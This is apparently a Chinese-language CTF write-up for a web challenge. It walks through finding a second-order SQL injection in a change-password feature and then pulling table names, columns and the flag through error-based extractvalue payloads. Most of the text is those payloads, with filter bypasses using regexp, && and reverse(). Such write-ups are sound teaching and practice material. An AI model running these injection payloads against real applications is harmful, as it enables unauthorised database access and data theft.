先去注册看看
fuzz一波,看看他过滤啥
输入分号没有报错
先注册完
登录之后发现可以更改密码
尝试是否能注入
继续测试发现无果
翻了翻以前刷过的sql-lab
发现是二次注入
二次注入讲解
最终发现输入1" 在改密码的时候报错
说明是双引号包裹
由于有报错回显,根据之前fuzz的过滤
可以考虑xpath注入
payload
1"||extractvalue(1,concat(0x7e,(select(database()))))%23
查库
查表
1"||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))))%23
查列
1"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag'))))%23
一个假的flag
查user表
但是他过滤了mid,substr,left,right
因此不能查到完整的表
由此可以用正则匹配
正则匹配详解
1"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r'))))#
需要注意的是在bp上传因为他过滤and的原因我们只能用&&,bp会把当成传入多个post值,从而登录出现错误,本人对bp不太熟,用的hackbar传
然后查flag
1"||extractvalue(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))))#
本来想查86后面的字符,发现行不通
看了看wp,emmm,又是一个新函数
reverse倒转输出
1"||extractvalue(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))))#
写个脚本处理下
拼接即可